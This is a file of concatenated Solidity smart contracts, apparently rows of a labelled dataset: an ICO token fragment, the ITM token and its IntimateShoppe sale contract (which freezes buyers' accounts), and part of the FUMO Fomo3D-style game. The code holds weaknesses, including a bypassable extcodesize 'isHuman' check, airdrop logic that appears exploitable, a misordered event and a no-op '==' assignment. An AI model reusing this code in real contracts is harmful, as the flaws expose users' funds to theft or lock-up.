balanceOf[_to] = (balanceOf[_to] + _amount);
Issuance(_amount);
Transfer(this, _to, _amount);
}
function burn(uint256 _value) public returns (bool success) {
destroy(msg.sender, _value);
Burn(msg.sender, _value);
return true;
}
function destroy(address _from, uint256 _amount) public {
require(msg.sender == _from);
require(balanceOf[_from] >= _amount);
balanceOf[_from] =(balanceOf[_from] - _amount);
_totalSupply = (_totalSupply - _amount);
Transfer(_from, this, _amount);
Destruction(_amount);
}
function killBalance() onlyOwner public {
require(!enablePreSale && !enableIco);
if(this.balance > 0) {
owner.transfer(this.balance);
}
}
function enabledMintTokens(bool value) onlyOwner public returns(bool result) {
enableMintTokens = value;
return enableMintTokens;
}
function contractBalance() constant public returns (uint256 balance) {
return balanceOf[this];
}
function startPreSale() onlyOwner public returns(bool result){
enablePreSale=true;
return enablePreSale;
}
function endPreSale() onlyOwner public returns(bool result){
enablePreSale=false;
return enablePreSale;
}
function startIco() onlyOwner public returns(bool result){
enableIco=true;
return enableIco;
}
function endIco() onlyOwner public returns(bool result){
enableIco=false;
return enableIco;
}
function isIco() constant public returns (bool closed) {
bool result=((icoStart+(35*24*60*60)) >= now);
if(enableIco){
return true;
}
else{
return result;
}
}
function isPreSale() constant public returns (bool closed) {
bool result=(preSaleEnd >= now);
if(enablePreSale){
return true;
}
else{
return result;
}
}
} | 1 | 2,209 |
pragma solidity ^0.4.21;
pragma solidity ^0.4.21;
contract AuthorizedList {
bytes32 constant APHRODITE = keccak256("Goddess of Love!");
bytes32 constant CUPID = keccak256("Aphrodite's Little Helper.");
bytes32 constant BULKTRANSFER = keccak256("Bulk Transfer User.");
mapping (address => mapping(bytes32 => bool)) internal authorized;
mapping (bytes32 => bool) internal contractPermissions;
}
pragma solidity ^0.4.21;
contract Authorized is AuthorizedList {
function Authorized() public {
authorized[msg.sender][APHRODITE] = true;
}
modifier ifAuthorized(address _address, bytes32 _authorization) {
require(authorized[_address][_authorization] || authorized[_address][APHRODITE]);
_;
}
function isAuthorized(address _address, bytes32 _authorization) public view returns (bool) {
return authorized[_address][_authorization];
}
function toggleAuthorization(address _address, bytes32 _authorization) public ifAuthorized(msg.sender, APHRODITE) {
require(_address != msg.sender);
if (_authorization == APHRODITE && !authorized[_address][APHRODITE]) {
authorized[_address][CUPID] = false;
}
authorized[_address][_authorization] = !authorized[_address][_authorization];
}
}
pragma solidity ^0.4.21;
contract Pausable is AuthorizedList, Authorized {
event Pause();
event Unpause();
bool public paused = false;
function Pausable() public AuthorizedList() Authorized() { }
modifier whenNotPaused {
require(!paused);
_;
}
modifier whenPaused {
require(paused);
_;
}
function pause() public whenNotPaused ifAuthorized(msg.sender, CUPID) returns (bool) {
emit Pause();
paused = true;
return true;
}
function unpause() public whenPaused ifAuthorized(msg.sender, CUPID) returns (bool) {
emit Unpause();
paused = false;
return true;
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
require(a == 0 || c / a == b);
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
}
pragma solidity ^0.4.21;
contract IERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address _who) public view returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
}
pragma solidity ^0.4.21;
contract IERC20 is IERC20Basic {
function allowance(address _tokenholder, address _tokenspender) view public returns (uint256);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool);
function approve(address _tokenspender, uint256 _value) public returns (bool);
event Approval(address indexed _tokenholder, address indexed _tokenspender, uint256 _value);
}
pragma solidity ^0.4.21;
contract RecoverCurrency is AuthorizedList, Authorized {
event EtherRecovered(address indexed _to, uint256 _value);
function recoverEther() external ifAuthorized(msg.sender, APHRODITE) {
msg.sender.transfer(address(this).balance);
emit EtherRecovered(msg.sender, address(this).balance);
}
function recoverToken(address _address) external ifAuthorized(msg.sender, APHRODITE) {
require(_address != address(0));
IERC20Basic token = IERC20Basic(_address);
uint256 balance = token.balanceOf(address(this));
token.transfer(msg.sender, balance);
}
}
pragma solidity ^0.4.21;
contract Freezable is AuthorizedList, Authorized {
event Frozen(address indexed _account);
event Unfrozen(address indexed _account);
mapping (address => bool) public frozenAccounts;
function Freezable() public AuthorizedList() Authorized() { }
modifier notFrozen {
require(!frozenAccounts[msg.sender]);
_;
}
function isFrozen(address account) public view returns (bool) {
return frozenAccounts[account];
}
function freezeAccount(address account) public ifAuthorized(msg.sender, APHRODITE) returns (bool success) {
if (!frozenAccounts[account]) {
frozenAccounts[account] = true;
emit Frozen(account);
success = true;
}
}
function unfreezeAccount(address account) public ifAuthorized(msg.sender, APHRODITE) returns (bool success) {
if (frozenAccounts[account]) {
frozenAccounts[account] = false;
emit Unfrozen(account);
success = true;
}
}
}
pragma solidity ^0.4.21;
contract AllowancesLedger {
mapping (address => mapping (address => uint256)) public allowances;
}
pragma solidity ^0.4.21;
contract TokenLedger is AuthorizedList, Authorized {
mapping(address => uint256) public balances;
uint256 public totalsupply;
struct SeenAddressRecord {
bool seen;
uint256 accountArrayIndex;
}
address[] internal accounts;
mapping(address => SeenAddressRecord) internal seenBefore;
function numberAccounts() public view ifAuthorized(msg.sender, APHRODITE) returns (uint256) {
return accounts.length;
}
function returnAccounts() public view ifAuthorized(msg.sender, APHRODITE) returns (address[] holders) {
return accounts;
}
function balanceOf(uint256 _id) public view ifAuthorized(msg.sender, CUPID) returns (uint256 balance) {
require (_id < accounts.length);
return balances[accounts[_id]];
}
}
pragma solidity ^0.4.21;
contract TokenSettings is AuthorizedList, Authorized {
string public name = "intimate";
string public symbol = "ITM";
uint256 public INITIAL_SUPPLY = 100000000 * 10**18;
uint8 public constant decimals = 18;
function setName(string _name) public ifAuthorized(msg.sender, APHRODITE) {
name = _name;
}
function setSymbol(string _symbol) public ifAuthorized(msg.sender, APHRODITE) {
symbol = _symbol;
}
}
pragma solidity ^0.4.21;
contract BasicTokenStorage is AuthorizedList, Authorized, TokenSettings, AllowancesLedger, TokenLedger {
function BasicTokenStorage() public Authorized() TokenSettings() AllowancesLedger() TokenLedger() { }
function trackAddresses(address _tokenholder) internal {
if (!seenBefore[_tokenholder].seen) {
seenBefore[_tokenholder].seen = true;
accounts.push(_tokenholder);
seenBefore[_tokenholder].accountArrayIndex = accounts.length - 1;
}
}
function removeSeenAddress(address _tokenholder) internal {
uint index = seenBefore[_tokenholder].accountArrayIndex;
require(index < accounts.length);
if (index != accounts.length - 1) {
accounts[index] = accounts[accounts.length - 1];
}
accounts.length--;
delete seenBefore[_tokenholder];
}
}
pragma solidity ^0.4.21;
contract BasicToken is IERC20Basic, BasicTokenStorage, Pausable, Freezable {
using SafeMath for uint256;
event Transfer(address indexed _tokenholder, address indexed _tokenrecipient, uint256 _value);
event BulkTransfer(address indexed _tokenholder, uint256 _howmany);
function totalSupply() public view whenNotPaused returns (uint256) {
return totalsupply;
}
function transfer(address _to, uint256 _value) public whenNotPaused notFrozen returns (bool) {
require(_to != address(0));
require(msg.sender != _to);
balances[msg.sender] = balances[msg.sender].sub(_value);
if (balances[msg.sender] == 0) {
removeSeenAddress(msg.sender);
}
trackAddresses(_to);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function bulkTransfer(address[] _tos, uint256[] _values) public whenNotPaused notFrozen ifAuthorized(msg.sender, BULKTRANSFER) returns (bool) {
require (_tos.length == _values.length);
uint256 sourceBalance = balances[msg.sender];
balances[msg.sender] = 0;
for (uint256 i = 0; i < _tos.length; i++) {
uint256 currentValue = _values[i];
address _to = _tos[i];
require(_to != address(0));
require(currentValue <= sourceBalance);
require(msg.sender != _to);
sourceBalance = sourceBalance.sub(currentValue);
balances[_to] = balances[_to].add(currentValue);
trackAddresses(_to);
emit Transfer(msg.sender, _tos[i], currentValue);
}
balances[msg.sender] = sourceBalance;
emit BulkTransfer(msg.sender, _tos.length);
if (balances[msg.sender] == 0) {
removeSeenAddress(msg.sender);
}
return true;
}
function balanceOf(address _tokenholder) public view whenNotPaused returns (uint256 balance) {
require(!isFrozen(_tokenholder));
return balances[_tokenholder];
}
}
pragma solidity ^0.4.21;
contract StandardToken is IERC20Basic, BasicToken, IERC20 {
using SafeMath for uint256;
event Approval(address indexed _tokenholder, address indexed _tokenspender, uint256 _value);
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused notFrozen returns (bool) {
require(_to != address(0) && _from != _to);
require(!isFrozen(_from) && !isFrozen(_to));
allowances[_from][msg.sender] = allowances[_from][msg.sender].sub(_value);
balances[_from] = balances[_from].sub(_value);
trackAddresses(_to);
balances[_to] = balances[_to].add(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _tokenspender, uint256 _value) public whenNotPaused notFrozen returns (bool) {
require(_tokenspender != address(0) && msg.sender != _tokenspender);
require(!isFrozen(_tokenspender));
require((_value == 0) || (allowances[msg.sender][_tokenspender] == 0));
allowances[msg.sender][_tokenspender] = _value;
emit Approval(msg.sender, _tokenspender, _value);
return true;
}
function allowance(address _tokenholder, address _tokenspender) public view whenNotPaused returns (uint256) {
require(!isFrozen(_tokenholder) && !isFrozen(_tokenspender));
return allowances[_tokenholder][_tokenspender];
}
}
pragma solidity ^0.4.21;
contract IntimateShoppe is Pausable, RecoverCurrency {
using SafeMath for uint256;
address[] internal contributors;
mapping (address => uint256[]) internal contributions;
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event ITMTokenPurchase(address indexed _seller_wallet_address, address indexed _buyer_address, uint256 _value, uint256 _amount);
event SetPeriod(uint256 _startTime, uint256 _endTime);
StandardToken public token;
address public token_address;
uint256 public startTime;
uint256 public endTime;
address public wallet_address;
uint256 public rate = 600;
uint256 public capTokens;
uint256 public maxValue = 100 ether;
uint256 public minValue = uint256(1 ether)/600;
uint256 public weiRaised = 0;
uint256 public tokensSold = 0;
uint256 internal highWater = 1 ether;
uint8 public round = 0;
function IntimateShoppe(
uint256 _startTime,
uint256 _duration,
uint256 _rate,
address _wallet_address,
address _token_address,
uint256 _cap,
uint8 _round) public Authorized() {
require(_startTime >= 0 && _duration > 0);
require(_rate > 0);
require(_wallet_address != address(0x0));
require(_token_address != address(0x0));
require(_cap > 0);
round = _round;
startTime = _startTime;
endTime = startTime + _duration;
rate = _rate;
minValue = uint256(1 ether)/_rate;
capTokens = _cap;
wallet_address = _wallet_address;
token_address = _token_address;
token = StandardToken(token_address);
}
function trackContributions(address _sender, uint256 _value) internal {
if (contributions[_sender].length == 0) {
contributors.push(_sender);
}
contributions[_sender].push(_value);
}
function getContributors() external view ifAuthorized(msg.sender, APHRODITE) returns (address[]) {
return contributors;
}
function getContributionsForAddress(address _contributor) external view ifAuthorized(msg.sender, APHRODITE) returns (uint256[]) {
return contributions[_contributor];
}
function setRound(uint8 _round) public ifAuthorized(msg.sender, APHRODITE) {
round = _round;
}
function setMaxValue(uint256 _maxValue) public ifAuthorized(msg.sender, APHRODITE) {
require(now < startTime || now > endTime);
maxValue = _maxValue;
}
function setMinValue(uint256 _minValue) public ifAuthorized(msg.sender, APHRODITE) {
require(now < startTime || now > endTime);
minValue = _minValue;
}
function setTimes(uint256 _startTime, uint256 _duration) public ifAuthorized(msg.sender, APHRODITE) {
require(now < startTime || now > endTime);
require(_startTime >= 0 && _duration > 0);
startTime = _startTime;
endTime = startTime + _duration;
emit SetPeriod(startTime, endTime);
}
function setCap(uint256 _capTokens) public ifAuthorized(msg.sender, APHRODITE) {
require(now < startTime || now > endTime);
require(_capTokens > 0);
capTokens = _capTokens;
}
function setRate(uint256 _rate) public ifAuthorized(msg.sender, APHRODITE) {
require(_rate > 0);
rate = _rate;
}
function changeCompanyWallet(address _wallet_address) public ifAuthorized(msg.sender, APHRODITE) {
wallet_address = _wallet_address;
}
function getHighWater() public view ifAuthorized(msg.sender, APHRODITE) returns (uint256) {
return highWater;
}
function setHighWater(uint256 _highWater) public ifAuthorized(msg.sender, APHRODITE) {
highWater = _highWater;
}
function () payable public {
require(msg.value >= minValue && msg.value <= maxValue);
backTokenOwner();
}
function backTokenOwner() whenNotPaused internal {
require(now >= startTime && now <= endTime);
if (address(this).balance >= highWater) {
wallet_address.transfer(address(this).balance);
emit Transfer(this, wallet_address, address(this).balance);
}
trackContributions(msg.sender, msg.value);
uint256 tokens = msg.value.mul(rate);
if (token.transferFrom(wallet_address, msg.sender, tokens)) {
token.freezeAccount(msg.sender);
weiRaised = weiRaised.add(msg.value);
tokensSold = tokensSold.add(tokens);
emit ITMTokenPurchase(wallet_address, msg.sender, msg.value, tokens);
require(tokensSold <= capTokens);
}
}
} | 1 | 3,651 |
pragma solidity ^0.4.24;
contract F3Devents {
event onNewName
(
uint256 indexed playerID,
address indexed playerAddress,
bytes32 indexed playerName,
bool isNewPlayer,
uint256 affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 amountPaid,
uint256 timeStamp
);
event onEndTx
(
uint256 compressedData,
uint256 compressedIDs,
bytes32 playerName,
address playerAddress,
uint256 ethIn,
uint256 keysBought,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount,
uint256 potAmount,
uint256 airDropPot
);
event onWithdraw
(
uint256 indexed playerID,
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 timeStamp
);
event onWithdrawAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onBuyAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethIn,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onReLoadAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onAffiliatePayout
(
uint256 indexed affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 indexed roundID,
uint256 indexed buyerID,
uint256 amount,
uint256 timeStamp
);
event onPotSwapDeposit
(
uint256 roundID,
uint256 amountAddedToPot
);
}
contract modularShort is F3Devents {}
contract FUMO is modularShort {
using SafeMath for *;
using NameFilter for string;
using F3DKeysCalcShort for uint256;
PlayerBookInterface constant private PlayerBook = PlayerBookInterface(0xd085AcFC0FDaA418E03E8570EF9A4E25a0E14eCf);
address private admin = 0x3705b81d42199138e53fb0ad57613ce309576077;
address private coin_base = 0xC018492974D65c3B3A9FcE1B9f7577505F31A7D8;
string constant public name = "FUMO";
string constant public symbol = "FUMO";
uint256 private rndExtra_ = 0;
uint256 private rndGap_ = 2 minutes;
uint256 constant private rndInit_ = 8 minutes;
uint256 constant private rndInc_ = 30 seconds;
uint256 constant private rndMax_ = 6 hours;
uint256 public airDropPot_;
uint256 public airDropTracker_ = 0;
uint256 public rID_;
mapping (address => uint256) public pIDxAddr_;
mapping (bytes32 => uint256) public pIDxName_;
mapping (uint256 => F3Ddatasets.Player) public plyr_;
mapping (uint256 => mapping (uint256 => F3Ddatasets.PlayerRounds)) public plyrRnds_;
mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_;
mapping (uint256 => F3Ddatasets.Round) public round_;
mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_;
mapping (uint256 => F3Ddatasets.TeamFee) public fees_;
mapping (uint256 => F3Ddatasets.PotSplit) public potSplit_;
constructor()
public
{
fees_[0] = F3Ddatasets.TeamFee(22,6);
fees_[1] = F3Ddatasets.TeamFee(38,0);
fees_[2] = F3Ddatasets.TeamFee(52,10);
fees_[3] = F3Ddatasets.TeamFee(68,8);
potSplit_[0] = F3Ddatasets.PotSplit(15,10);
potSplit_[1] = F3Ddatasets.PotSplit(25,0);
potSplit_[2] = F3Ddatasets.PotSplit(20,20);
potSplit_[3] = F3Ddatasets.PotSplit(30,10);
}
modifier isActivated() {
require(activated_ == true, "its not ready yet. check ?eta in discord");
_;
}
modifier isHuman() {
address _addr = msg.sender;
uint256 _codeLength;
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, "sorry humans only");
_;
}
modifier isWithinLimits(uint256 _eth) {
require(_eth >= 1000000000, "pocket lint: not a valid currency");
require(_eth <= 100000000000000000000000, "no vitalik, no");
_;
}
function()
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
buyCore(_pID, plyr_[_pID].laff, 2, _eventData_);
}
function buyXid(uint256 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
buyCore(_pID, _affCode, _team, _eventData_);
}
function buyXaddr(address _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, _team, _eventData_);
}
function buyXname(bytes32 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, _team, _eventData_);
}
function reLoadXid(uint256 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affCode, _team, _eth, _eventData_);
}
function reLoadXaddr(address _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function reLoadXname(bytes32 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function withdraw()
isActivated()
isHuman()
public
{
uint256 _rID = rID_;
uint256 _now = now;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _eth;
if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
F3Ddatasets.EventReturns memory _eventData_;
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onWithdrawAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eth,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
} else {
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
emit F3Devents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now);
}
}
function registerNameXID(string _nameString, uint256 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXaddr(string _nameString, address _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXname(string _nameString, bytes32 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function getBuyPrice()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) );
else
return ( 75000000000000 );
}
function getTimeLeft()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now < round_[_rID].end)
if (_now > round_[_rID].strt + rndGap_)
return( (round_[_rID].end).sub(_now) );
else
return( (round_[_rID].strt + rndGap_).sub(_now) );
else
return(0);
}
function getPlayerVaults(uint256 _pID)
public
view
returns(uint256 ,uint256, uint256)
{
uint256 _rID = rID_;
if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
if (round_[_rID].plyr == _pID)
{
return
(
(plyr_[_pID].win).add( ((round_[_rID].pot).mul(48)) / 100 ),
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
}
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff
);
}
}
function getPlayerVaultsHelper(uint256 _pID, uint256 _rID)
private
view
returns(uint256)
{
return( ((((round_[_rID].mask).add(((((round_[_rID].pot).mul(potSplit_[round_[_rID].team].gen)) / 100).mul(1000000000000000000)) / (round_[_rID].keys))).mul(plyrRnds_[_pID][_rID].keys)) / 1000000000000000000) );
}
function getCurrentRoundInfo()
public
view
returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
return
(
round_[_rID].ico,
_rID,
round_[_rID].keys,
round_[_rID].end,
round_[_rID].strt,
round_[_rID].pot,
(round_[_rID].team + (round_[_rID].plyr * 10)),
plyr_[round_[_rID].plyr].addr,
plyr_[round_[_rID].plyr].name,
rndTmEth_[_rID][0],
rndTmEth_[_rID][1],
rndTmEth_[_rID][2],
rndTmEth_[_rID][3],
airDropTracker_ + (airDropPot_ * 1000)
);
}
function getPlayerInfoByAddress(address _addr)
public
view
returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
if (_addr == address(0))
{
_addr == msg.sender;
}
uint256 _pID = pIDxAddr_[_addr];
return
(
_pID,
plyr_[_pID].name,
plyrRnds_[_pID][_rID].keys,
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff,
plyrRnds_[_pID][_rID].eth
);
}
function buyCore(uint256 _pID, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
core(_rID, _pID, msg.value, _affID, _team, _eventData_);
} else {
if (_now > round_[_rID].end && round_[_rID].ended == false)
{
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onBuyAndDistribute
(
msg.sender,
plyr_[_pID].name,
msg.value,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value);
}
}
function reLoadCore(uint256 _pID, uint256 _affID, uint256 _team, uint256 _eth, F3Ddatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth);
core(_rID, _pID, _eth, _affID, _team, _eventData_);
} else if (_now > round_[_rID].end && round_[_rID].ended == false) {
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onReLoadAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
}
function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
{
if (plyrRnds_[_pID][_rID].keys == 0)
_eventData_ = managePlayer(_pID, _eventData_);
if (round_[_rID].eth < 100000000000000000000 && plyrRnds_[_pID][_rID].eth.add(_eth) > 1000000000000000000)
{
uint256 _availableLimit = (1000000000000000000).sub(plyrRnds_[_pID][_rID].eth);
uint256 _refund = _eth.sub(_availableLimit);
plyr_[_pID].gen = plyr_[_pID].gen.add(_refund);
_eth = _availableLimit;
}
if (_eth > 1000000000)
{
uint256 _keys = (round_[_rID].eth).keysRec(_eth);
if (_keys >= 1000000000000000000)
{
updateTimer(_keys, _rID);
if (round_[_rID].plyr != _pID)
round_[_rID].plyr = _pID;
if (round_[_rID].team != _team)
round_[_rID].team = _team;
_eventData_.compressedData = _eventData_.compressedData + 100;
}
if (_eth >= 100000000000000000)
{
airDropTracker_++;
if (airdrop() == true)
{
uint256 _prize;
if (_eth >= 10000000000000000000)
{
_prize = ((airDropPot_).mul(75)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
} else if (_eth >= 1000000000000000000 && _eth < 10000000000000000000) {
_prize = ((airDropPot_).mul(50)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 200000000000000000000000000000000;
} else if (_eth >= 100000000000000000 && _eth < 1000000000000000000) {
_prize = ((airDropPot_).mul(25)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
}
_eventData_.compressedData += 10000000000000000000000000000000;
_eventData_.compressedData += _prize * 1000000000000000000000000000000000;
airDropTracker_ = 0;
}
}
_eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000);
plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys);
plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth);
round_[_rID].keys = _keys.add(round_[_rID].keys);
round_[_rID].eth = _eth.add(round_[_rID].eth);
rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]);
